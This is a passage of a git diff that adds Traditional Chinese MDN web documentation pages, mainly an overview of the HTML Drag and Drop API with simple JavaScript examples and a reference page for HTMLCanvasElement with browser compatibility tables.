+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="將文字複製到剪貼簿"> </div>
+</div>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li><a class="internal" href="/Web/API/HTML_Drag_and_Drop_API" title="HTML Drag and Drop API">HTML Drag and Drop API (Overview)</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/html_drag_and_drop_api/index.html b/files/zh-tw/web/api/html_drag_and_drop_api/index.html
new file mode 100644
index 0000000000..ac7be3f0b0
--- /dev/null
+++ b/files/zh-tw/web/api/html_drag_and_drop_api/index.html
@@ -0,0 +1,249 @@
+---
+title: HTML 拖放 API
+slug: Web/API/HTML_Drag_and_Drop_API
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p><span class="seoSummary">HTML 拖放介面能讓網頁應用程式於 Firefox 及其他瀏覽器中使用拖放功能。</span>舉例來說，使用者可以利用此功能以滑鼠選擇<em>可拖曳（draggable）</em>元素，拖曳至一個<em>可放置（droppable）</em>元素上，並放開滑鼠按鍵來放置此元素。在拖曳操作時，一個半透明的<em>可拖曳（draggable）</em>元素會跟隨著滑鼠游標。</p>
+
+<p>對於網站、擴充套件以及 XUL 應用程式來說，你可以自定義能成為<em>可拖曳（draggable）</em>的元素類型、<em>可拖曳（draggable）</em>元素產生的回鐀類型，以及<em>可放置（droppable）</em>的元素。</p>
+
+<p>此文件為 HTML 拖放的概述，包含了相關介面的說明、在應用程式中加入拖放支援的基本步驟，以及相關介面使用簡介。</p>
+
+<h2 id="events" name="events">拖曳事件</h2>
+
+<p>HTML 拖放操作基於 {{domxref("Event","DOM 事件模型")}}並且使用繼承自{{domxref("MouseEvent","滑鼠事件")}}的<em>{{domxref("DragEvent","拖曳事件")}}</em>介面。一個典型的拖曳操作開始於使用者利用滑鼠選取了一個<em>可拖曳（draggable）</em>元素、移動滑鼠至一個<em>可放置（droppable）</em>元素並放開滑鼠按鍵。在操作的過程中，會觸發多種類型的事件，且一些事件類型可能會被觸發多次（如 {{event("drag")}} 及 {{event("dragover")}} 事件類型）。</p>
+
+<p>所有的<a href="/zh-TW/docs/Web/API/DragEvent#Event_types">拖曳事件類型</a>都有相關的<a href="/zh-TW/docs/Web/API/DragEvent#GlobalEventHandlers">通用事件處理器</a>（global event handler）。每一種拖曳事件類型及拖曳通用事件處理器屬性都有說明此事件的參考文件。以下的表格提供了每一種事件的簡要說明，以及參考文件的連結。</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">事件</th>
+   <th scope="col">事件處理器屬性</th>
+   <th scope="col">說明</th>
+  </tr>
+  <tr>
+   <td>{{event('drag')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondrag','ondrag')}}</td>
+   <td>於一個元素或文字選取區塊被拖曳時觸發。</td>
+  </tr>
+  <tr>
+   <td>{{event('dragend')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragend','ondragend')}}</td>
+   <td>於拖曳操作結束時觸發（如放開滑鼠按鍵或按下鍵盤的 escape 鍵）。（請參考<a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">結束拖曳</a>。）</td>
+  </tr>
+  <tr>
+   <td>{{event('dragenter')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}</td>
+   <td>於一個元素或文字選取區塊被拖曳移動進入一個有效的放置目標時觸發。（請參考<a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">指定拖曳目標</a>。）</td>
+  </tr>
+  <tr>
+   <td>{{event('dragexit')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}</td>
+   <td>當一個元素不再是被選取中的拖曳元素時觸發。</td>
+  </tr>
+  <tr>
+   <td>{{event('dragleave')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}</td>
+   <td>於一個元素或文字選取區塊被拖曳移動離開一個有效的放置目標時觸發。</td>
+  </tr>
+  <tr>
+   <td>{{event('dragover')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragover','ondragover')}}</td>
+   <td>於一個元素或文字選取區塊被拖曳移動經過一個有效的放置目標時觸發（每幾百毫秒觸發一次）。</td>
+  </tr>
+  <tr>
+   <td>{{event('dragstart')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}</td>
+   <td>於使用者開始拖曳一個元素或文字選取區塊時觸發。（請參考<a href="/en-US/docs/DragDrop/Drag_Operations#dragstart" title="Starting a Drag Operation">開始拖曳</a>。）</td>
+  </tr>
+  <tr>
+   <td>{{event('drop')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondrop','ondrop')}}</td>
+   <td>於一個元素或文字選取區塊被放置至一個有效的放置目標時觸發。（請參考<a href="/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">執行放置</a>。）</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note">注意：<code>dragstart</code> 與 <code>dragend</code> 事件，在把檔案從作業系統拖放到瀏覽器時，並不會觸發。</p>
+
+<h2 id="介面">介面</h2>
+
+<p>HTML 拖放介面有 {{domxref("DragEvent")}}、{{domxref("DataTransfer")}}、{{domxref("DataTransferItem")}} 以及 {{domxref("DataTransferItemList")}}。</p>
+
+<p>{{domxref("DragEvent")}} 介面擁有一個建構式及一個屬性－{{domxref("DragEvent.dataTransfer","dataTransfer")}} 屬性為一個 {{domxref("DataTransfer")}} 物件。{{domxref("DataTransfer")}} 物件包含了拖放事件的狀態，如正在進行的拖放事件類型（例如 <code>copy</code> 或 <code>move</code>）、拖放中的資料（一或多個項目）以及每一個<em>拖放項目（drag item）</em>的檔案類型（MIME type）。{{domxref("DataTransfer")}} 物件也擁有加入及移除拖放資料項目的方法。{{domxref("DragEvent")}} 與 {{domxref("DataTransfer")}} 介面應該是唯一須要加至應用程式中的 HTML 拖放功能。另外，請留意 Firefox 支援了一些 {{anch("Gecko specific interfaces","Gecko-specific 擴充")}}予 {{domxref("DataTransfer")}} 物件使用，雖然這些擴充只能在 Firefox 上作用。</p>
+
+<p>每個 {{domxref("DataTransfer")}} 物件都包含了 {{domxref("DataTransfer.items","items")}} 屬性。此屬性乃 {{domxref("DataTransferItem")}} 物件的 {{domxref("DataTransferItemList","list")}}。而每個 {{domxref("DataTransferItem")}} 物件，則代表著一個<em>拖放單元</em>，每個拖放單元則擁有代表該資料<em>種類</em>的 {{domxref("DataTransferItem.kind","kind")}} 屬性（<code>string</code> 或 <code>file</code>）、還有表示該單元檔案類型（如 MIME）的{{domxref("DataTransferItem.type","type")}} 屬性。另外，{{domxref("DataTransferItem")}} 物件能取得拖放單元的資料。</p>
+
+<p>{{domxref("DataTransferItemList")}} 物件為 {{domxref("DataTransferItem")}} 的列表。該物件列表擁有以下方法：給列表增加拖放單元、從列表刪除拖放單元、還有清除列表內所有的拖放單元。</p>
+
+<p>{{domxref("DataTransfer")}} 與 {{domxref("DataTransferItem")}} 介面的最大不同，就是前者使用同步的 {{domxref("DataTransfer.getData","getData()")}} 方法訪問拖放單元的資料；後者則使用非同步的 {{domxref("DataTransferItem.getAsString","getAsString()")}} 方法訪問。</p>
+
+<p class="note">注意：{{domxref("DragEvent")}} 與 {{domxref("DataTransfer")}} 介面受廣泛的桌面瀏覽器支援。但只有少數瀏覽器支援 {{domxref("DataTransferItem")}} 與 {{domxref("DataTransferItemList")}} 介面。請參見 {{anch("Interoperability")}} 以取得有關拖放功能互通性的資訊。</p>
+
+<h3 id="Gecko-specific_interfaces">Gecko-specific interfaces</h3>
+
+<p>Mozilla and Firefox support some features not in the standard drag and drop model. These are <em>convenience functions</em> to facilitate dragging multiple items and dragging non-string data (such as files). For more information, see <a href="/en-US/docs/DragDrop/Dragging_and_Dropping_Multiple_Items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a>. Additionally, see the {{domxref("DataTransfer")}} reference page for all of the <a href="/en-US/docs/Web/API/DataTransfer#Gecko_properties">Gecko-specific properties</a> and <a href="/en-US/docs/Web/API/DataTransfer#Gecko_methods">Gecko-specific methods</a>.</p>
+
+<h2 id="基本用法">基本用法</h2>
+
+<p>This section provides a summary of the basic steps to add drag and drop functionality to an application. Each section includes a description of the step, a short code example, and links to additional information.</p>
+
+<h3 id="Identify_what_is_draggable">Identify what is <em>draggable</em></h3>
+
+<p>To make an element <em>draggable</em> requires adding the {{htmlattrxref("draggable")}} attribute plus the {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} global event handler, as shown in the following code sample</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+ console.log("dragStart");
+ // Add the target element's id to the data transfer object
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+}
+
+&lt;body&gt;
+ &lt;p id="p1" draggable="true" ondragstart="dragstart_handler(event);"&gt;This element is draggable.&lt;/p&gt;
+&lt;/body&gt;
+</pre>
+
+<p>See the <a href="/en-US/docs/Web/HTML/Global_attributes/draggable" title="draggable global attribute">draggable attribute reference</a> and the <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#draggableattribute">Drag operations guide</a> for more information.</p>
+
+<h3 id="Define_the_drag's_data">Define the drag's data</h3>
+
+<p>The application is free to include any number of data items in a drag operation. Each data item is a {{domxref("DOMString","string")}} of a particular <code>type</code>, typically a MIME type such as <code>text/html</code>.</p>
+
+<p>Each {{domxref("DragEvent","drag event")}} has a {{domxref("DragEvent.dataTransfer","dataTransfer")}} property that <em>holds</em> the event's data. This property (which is a {{domxref("DataTransfer")}} object) also has methods to <em>manage</em> drag data. The {{domxref("DataTransfer.setData","setData()")}} method is used to add an item to the drag data, as shown in the following example.</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+  // Add the drag data
+  ev.dataTransfer.setData("text/plain", ev.target.id);
+  ev.dataTransfer.setData("text/html", "&lt;p&gt;Example paragraph&lt;/p&gt;");
+  ev.dataTransfer.setData("text/uri-list", "http://developer.mozilla.org");
+}
+</pre>
+
+<p>For a list of common data types used for drag and drop (such as text, HTML, links, and files), see <a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="Recommended Drag Types">Recommended Drag Types</a> and for more information about drag data, see <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</p>
+
+<h3 id="Define_the_drag_image">Define the drag image</h3>
+
+<p>By default, the browser supplies an image that appears beside the mouse pointer during a drag operation. However, an application may define a custom image by using the {{domxref("DataTransfer.setDragImage","setDragImage()")}} method as shown in the following example.</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+  // Create an image and then use it for the drag image.
+  // NOTE: change "example.gif" to an existing image or the image
+  // will not be created and the default drag image will be used.
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+</pre>
+
+<p>To learn more about drag feedback images, see <a href="/en-US/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Setting the Drag Feedback Image</a>.</p>
+
+<h3 id="Define_the_drag_effect">Define the drag <em>effect</em></h3>
+
+<p>The {{domxref("DataTransfer.dropEffect","dropEffect")}} property is used to control the feedback (typically visual) the user is given during a drag and drop operation. It affects which cursor the browser displays while dragging. For example, when the user hovers over a target drop element, the browser's cursor may indicate the type of operation that will occur.</p>
+
+<p>Three effects may be defined:</p>
+
+<p><code>copy</code> indicates that the data being dragged will be copied from its present location to the drop location.</p>
+
+<p><code>move</code> indicates that the data being dragged will be moved</p>
+
+<p><code>link</code> indicates that some form of relationship or connection will be created between the source and drop locations.</p>
+
+<p>During the drag operation, the drag effects may be modified to indicate that certain effects are allowed at certain locations. If allowed, a drop may occur at that location.</p>
+
+<p>The following example shows how to use this property.</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+  // Set the drag effect to copy
+  ev.dataTransfer.dropEffect = "copy";
+}
+</pre>
+
+<p>See <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> for more details.</p>
+
+<h3 id="Define_a_drop_zone">Define a <em>drop zone</em></h3>
+
+<p>By default, the browser prevents anything from happening when dropping something onto the HTML element. To change that behavior so that an element becomes a <em>drop zone</em> or is <em>droppable</em>, the element must have both {{domxref("GlobalEventHandlers.ondragover","ondragover")}} and {{domxref("GlobalEventHandlers.ondrop","ondrop")}} event handler attributes. The following example shows how to use those attributes and includes basic event handlers for each attribute.</p>
+
+<pre class="brush: js">function dragover_handler(ev) {
+ ev.preventDefault();
+ // Set the dropEffect to move
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // Get the id of the target and add the moved element to the target's DOM
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;body&gt;
+ &lt;div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);"&gt;Drop Zone&lt;/div&gt;
+&lt;/body&gt;
+</pre>
+
+<p>Note each handler calls {{domxref("Event.preventDefault","preventDefault()")}} to prevent additional event processing for this prevent (such as touch events or pointer events).</p>
+
+<p>For more information, see <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>.</p>
+
+<h3 id="Handle_the_drop_effect">Handle the drop <em>effect</em></h3>
+
+<p>The handler for the {{event("drop")}} event is free to process the drag data in an application specific way. Typically, an application will use the {{domxref("DataTransfer.getData","getData()")}} method to retrieve drag items and process them accordingly. Additionally, application semantics may differ depending on the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} and/or the state of modifier keys.</p>
+
+<p>The following example shows a drop handler getting the source element's id from the drag data and then using the id to move the source element to the drop element.</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+ // Add the target element's id to the data transfer object
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+ ev.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ // Set the dropEffect to move
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // Get the id of the target and add the moved element to the target's DOM
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;body&gt;
+ &lt;p id="p1" draggable="true" ondragstart="dragstart_handler(event);"&gt;This element is draggable.&lt;/p&gt;
+ &lt;div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);"&gt;Drop Zone&lt;/div&gt;
+&lt;/body&gt;
+</pre>
+
+<p>For more information, see <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>.</p>
+
+<h3 id="Drag_end">Drag end</h3>
+
+<p>At the end of a drag operation, the {{event("dragend")}} event fires at the <em>source</em> element - the element that was the target of the drag start. This event fires whether the drag completed or was canceled. The {{event("dragend")}} event handler can check the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine if the drag operation succeeded or not.</p>
+
+<p>For more information about handling the end of a drag operation, see <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>.</p>
+
+<h2 id="Interoperability">Interoperability</h2>
+
+<p>As can be seen in the <a href="/en-US/docs/Web/API/DataTransferItem#Browser_compatibility">DataTransferItem interface's Browser Compatibility table</a>, drag-and-drop interoperability is relatively broad among desktop browsers (except the {{domxref("DataTransferItem")}} and {{domxref("DataTransferItemList")}} interfaces have less support). This data also indicates drag and drop support among mobile browsers is very low.</p>
+
+<h2 id="Examples_and_demos" name="Examples_and_demos">Examples and demos</h2>
+
+<ul>
+ <li><a href="https://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransfer.html">Copying and moving elements with the <code>DataTransfer</code> interface</a></li>
+ <li><a href="http://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransferItemList.html">Copying and moving elements with the <code>DataTransferListItem</code> interface</a></li>
+ <li>Dragging and dropping files; Firefox only: <a class="external" href="http://jsfiddle.net/9C2EF/" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></li>
+ <li>Dragging and dropping files; All browsers: <a class="external" href="https://jsbin.com/hiqasek/edit?html,js,output" title="https://jsbin.com/hiqasek">https://jsbin.com/hiqasek/</a></li>
+ <li>A parking project using the Drag and Drop API: <a href="https://park.glitch.me/">https://park.glitch.me/</a> (You can edit <a href="https://glitch.com/edit/#!/park">here</a>)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations" title="Drag Operations">Drag Operations</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Multiple_items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+ <li><a href="http://caniuse.com/#search=draganddrop" title="Drag and Drop interoperability data from CanIUse">Drag and Drop interoperability data from CanIUse</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlcanvaselement/index.html b/files/zh-tw/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..fffa314976
--- /dev/null
+++ b/files/zh-tw/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,262 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+tags:
+  - API
+  - Canvas
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p><strong><code><span>HTMLCanvasElement</span></code></strong> 介面提供控制 canvas 元素的屬性和方法. <code>HTMLCanvasElement</code> 介面也繼承了 {{domxref("HTMLElement")}} 介面的屬性和方法.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>從父代繼承的屬性，</em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>Is a positive <code>integer</code> reflecting the {{htmlattrxref("height", "canvas")}} HTML attribute of the {{HTMLElement("canvas")}} element interpreted in CSS pixels. When the attribute is not specified, or if it is set to an invalid value, like a negative, the default value of <code>150</code> is used.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} reflecting the {{htmlattrxref("moz-opaque", "canvas")}} HTML attribute of the {{HTMLElement("canvas")}} element. It lets the canvas know whether or not translucency will be a factor. If the canvas knows there's no translucency, painting performance can be optimized.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>Is a positive <code>integer</code> reflecting the {{htmlattrxref("width", "canvas")}} HTML attribute of the {{HTMLElement("canvas")}} element interpreted in CSS pixels. When the attribute is not specified, or if it is set to an invalid value, like a negative, the default value of <code>300</code> is used.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}</dt>
+ <dd>Is a <code>function</code> that is Initially null, Web content can set this to a JavaScript function that will be called if the page is printed. This function can then redraw the canvas at a higher resolution that is suitable for the printer being used. <a href="https://blog.mozilla.org/labs/2012/09/a-new-way-to-control-printing-output/">See this blog post.</a></dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>從父代繼承的方法, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("CanvasCaptureMediaStream")}} that is a real-time video capture of the surface of the canvas.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>Returns a drawing context on the canvas, or null if the context ID is not supported. A drawing context lets you draw on the canvas. Calling getContext with <code>"2d"</code> returns a {{domxref("CanvasRenderingContext2D")}} object, whereas calling it with <code>"experimental-webgl"</code> (or <code>"webgl"</code>) returns a {{domxref("WebGLRenderingContext")}} object. This context is only available on browsers that implement <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd>Returns a data-URL containing a representation of the image in the format specified by the <code>type</code> parameter (defaults to <code>png</code>). The returned image is in a resolution of 96dpi.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>Creates a {{domxref("Blob")}} object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{domxref("File")}} object representing the image contained in the canvas; this file is a memory-based file, with the specified <code>name</code>. If <code>type</code> is not specified, the image type is <code>image/png</code>.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Adds the method <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The method <code>getContext()</code> now returns a {{domxref("RenderingContext")}} rather than an opaque <code>object</code>.<br>
+    The methods <code>probablySupportsContext()</code>, <code>setContext()</code> and <code>transferControlToProxy()</code>have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>50</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('19')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>50</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('18')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 and later has partial support.</p>
+
+<p>[2] Support for the third parameter, has been added in Gecko 25 only: when used with the <code>"image/jpeg"</code> type, this argument specifies the image quality.</p>
+
+<p>[3] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlcanvaselement/todataurl/index.html b/files/zh-tw/web/api/htmlcanvaselement/todataurl/index.html
new file mode 100644
index 0000000000..7a87309580
--- /dev/null
+++ b/files/zh-tw/web/api/htmlcanvaselement/todataurl/index.html
@@ -0,0 +1,201 @@
+---
+title: HTMLCanvasElement.toDataURL()
+slug: Web/API/HTMLCanvasElement/toDataURL
+tags:
+  - API
+  - Canvas
+translation_of: Web/API/HTMLCanvasElement/toDataURL
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
